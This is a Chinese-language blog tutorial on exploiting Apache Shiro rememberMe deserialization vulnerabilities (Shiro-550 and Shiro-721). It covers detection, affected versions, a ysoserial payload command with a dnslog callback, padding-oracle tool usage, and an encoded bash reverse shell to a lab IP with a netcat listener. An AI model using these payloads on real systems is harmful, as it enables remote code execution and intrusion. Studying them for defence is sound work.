Shiro反序列化利用

前言:hvv单位这个漏洞挺多的,之前没专门研究打法,特有此篇文章。

Shiro rememberMe反序列化漏洞(Shiro-550)

  • 漏洞原理

    Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

    那么,Payload产生的过程:

    命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

    在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

  • 影响版本

    Apache Shiro < 1.2.4

  • 特征判断

    返回包中包含rememberMe=deleteMe字段。

  • 利用工具

  • 漏洞检测

  • 反弹shell

    注意:执行bash命令时需要对其进行编码

    转码平台:http://www.jackson-t.ca/runtime-exec-payloads.html

    设置监听:nc -lvvp 4444

    原bash命令:bash -i >& /dev/tcp/192.168.232.129/4444 0>&1

    转码后:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMi4xMjkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}

Shiro Padding Oracle Attack(Shiro-721)

  • 漏洞原理

    由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

  • 影响版本

    Apache Shiro < 1.4.2版本

  • 漏洞利用

    登录Shiro网站,从cookie中获得rememberMe字段的值。

    HTTP/1.1 302 Found
    Server: Apache-Coyote/1.1
    Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Thu, 29-Oct-2020 06:21:41 GMT
    Set-Cookie: rememberMe=nHseK2L1X/khQcAePZT+F1EoLqCfzOvuUEAjmFBqOeGVVnI81f17LPzjPTyIR0Dmho/vYGuFnyrC8qE7PuE+KQ0Ql/LEz/yizxH6jYkJpfLVpkVUDXGAQt1Nh4jB5JlTWUbPmla+4HGJGombOY4TwLdO/SY4T4YOx0689KKJn6qmwnn1BfrT4XjiSTXXTYluLnlaKHOVgLrtOQ6IPP159ydV3P7/gP+lihh+nbif1Mzt8WSksJgV9qb2yfa+9jpdRYO9VN9dM1V5TF3//mGWjDttfnQQeCJKRjXEC4BscUigEpq3rtGQrH4L1uFoNbJM+IjK+goeW3toJoGIeRJ0SMuMDTovOivMOklNyxng9uQs6tzesoVbVLL5maMJwXuKFVaGtGPPuWcMLyUCyaj01PWBd/YSi7ZkWGTNRV8O4FYvcyl72/Qvz5NHzbXk8FQaX+BdHHsWgoIHg5dyM3ErscF1LCYM8y48T7ApwsyHsdZuzQd5A+qHwkg79D/ZQqYd; Path=/; Max-Age=31536000; Expires=Sat, 30-Oct-2021 06:21:41 GMT; HttpOnly
    Location: /
    Content-Length: 0
    Date: Fri, 30 Oct 2020 06:21:41 GMT
    Connection: close
  • 利用DNSlog探测,通过ysoserial工具payload。

    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar http://192.168.232.129:8080/ CommonsBeanutils1 "ping l6szkn.dnslog.cn" > payload.class
  • 使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。

    github项目地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721

    使用方法:

    java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize class文件路径

    爆破成功:

  • 利用很麻烦,而且这样跑很容易把目标服务器跑出问题或者被ban IP,可以使用上面的工具进行利用比较靠谱。

参考

https://cloud.tencent.com/developer/article/1649614 :shiro漏洞检测RCE工具

https://www.cnblogs.com/xiaozi/p/13239046.html: Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)

https://www.cnblogs.com/yuyan-sec/p/12458806.html: Shiro反序列化漏洞利用

结语

之后还会陆续更新Shiro的漏洞,时间待定。

Shiro反序列化利用的更多相关文章

  1. Shiro反序列化的检测与利用

    1. 前言 Shiro 是 Apache 旗下的一个用于权限管理的开源框架,提供开箱即用的身份验证.授权.密码套件和会话管理等功能. 2. 环境搭建 环境搭建vulhub 3. 如何发现 第一种情况 ...

  2. 利用shiro反序列化注入冰蝎内存马

    利用shiro反序列化注入冰蝎内存马 文章首发先知社区:https://xz.aliyun.com/t/10696 一.shiro反序列化注入内存马 1)tomcat filter内存马 先来看一个普 ...

  3. 应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)

    背景 某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell.出于做安全的谨慎,马上出现场应急,确认漏洞.该漏洞存在在cookie字段中的rememberMe字段 ...

  4. 一次关于shiro反序列化漏洞的思考

    0x01前言 之前在我反序列化的那篇文章中(https://www.cnblogs.com/lcxblogs/p/13539535.html),简单说了一下反序列化漏洞,也提了一嘴常见的几种Java框 ...

  5. Apache Shiro反序列化远程代码执行复现

    最近也是看shiro漏洞比较多,所以自己也在本地复现了一下,拿出来与大家一起分享 0x00 关于Apache Shiro Apache shiro是一个Java安全框架,提供了认证.授权.加密和会话管 ...

  6. 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计

    Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.   Apache Shiro默认使用了CookieRe ...

  7. 记一次实战 Shiro反序列化内网上线

    Shiro反序列化内网上线 说明:此贴仅分享用于各安全人员进行安全学习提供思路,或有合法授权的安全测试,请勿参考用于其他用途,如有,后果自负.感谢各位大佬的关注 目标:152.xxx.xxx.xxx目 ...

  8. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  9. Shiro反序列化复现

    Shiro反序列化复现 ——————环境准备—————— 目标靶机:10.11.10.108 //docker环境 攻击机ip:无所谓 vpsip:192.168.14.222 //和靶机ip可通 1 ...

随机推荐

  1. H2-Table CATALOGS not found

    在使用 IntelliJ IDEA 2021.1.3 版本,使用默认配置连接 H2 数据库的时候,出现下面错误,项目里 H2 使用的版本为 2.0.202 . [42S02][42102] org.h ...

  2. 关于 GIN 的路由树

    GIN 是一个 golang 常用的 Web 框架,它对 API 比较友好,源码注释也很明确明确,使用起来快速灵活,还有极高的容错率.标题中的路由我们可以简单理解为在浏览器中输入的页面地址,而&quo ...

  3. 关于全栈项目【臻美Chat】https访问 遇到的问题【技术栈:Nodejs】

    首先我上线时可以http访问也可以https访问,那么配置如下:nginx.conf user root;worker_processes auto;error_log /var/log/nginx/ ...

  4. SAP APO-供应链监控

    供应链监控(SCM)是一种有效的工具,可以为供应商和购买者做出明智的决策. 供应链流程中的关键人物基于供应链监控做出决策. 供应链包括两个工具- 库存需求清单MD04 物流信息系统(LIS) 事务MD ...

  5. java+mybatis实现一个简单的银行系统,实现存取款与账户查询

    先创建数据库和表,使用的是MySQL数据库. create database mybatis; use mybatis; CREATE TABLE `accountdo` ( `id` varchar ...

  6. DAST 黑盒漏洞扫描器 第五篇:漏洞扫描引擎与服务能力

    0X01 前言 转载请标明来源:https://www.cnblogs.com/huim/ 本身需要对外有良好的服务能力,对内流程透明,有日志.问题排查简便. 这里的服务能力指的是系统层面的服务,将扫 ...

  7. 2m高分辨率土地利用分类数据

    数据下载链接:百度云下载链接 土地利用数据是在根据影像光谱特征,结合野外实测资料,同时参照有关地理图件,对地物的几何形状,颜色特征.纹理特征和空间分布情况进行分析,建立统一解译标志的基础之上,依据多源 ...

  8. JSP页面+请求转发+EL表达式

    1) JSP全称Java Server Pages,顾名思义就是运行在java服务器中的页面,也就是在我们JavaWeb中的动态页面,其本质就是一个Servlet.2) 其本身是一个动态网页技术标准, ...

  9. 区间统计——ST算法

    一.引入 先举一个小栗子. 一数组有 \(n\) 个元素,有 \(m\) 次询问(\(n, m <= 10^5\)).对于每次询问给出 \(l, r\),求出 \([l, r]\)的区间和. 有 ...

  10. XML入门介绍

    目录 XML 简介 xml 语法 文档声明 (1)创建一个 xml 文件 (2)图书有 id 性 属性 一 表示唯一 标识,书名,有作者,价格的信息 xml 注释 元素(标签) 1)什么是 xml 元 ...